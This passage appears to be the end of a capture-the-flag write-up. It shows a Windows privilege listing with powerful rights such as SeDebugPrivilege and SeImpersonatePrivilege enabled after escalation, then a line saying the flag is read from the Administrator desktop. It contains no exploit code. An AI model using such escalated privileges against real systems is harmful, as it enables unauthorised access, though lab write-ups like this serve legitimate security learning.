SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
And we can finally read the flag at Administrator
desktop.
~Happy Hacking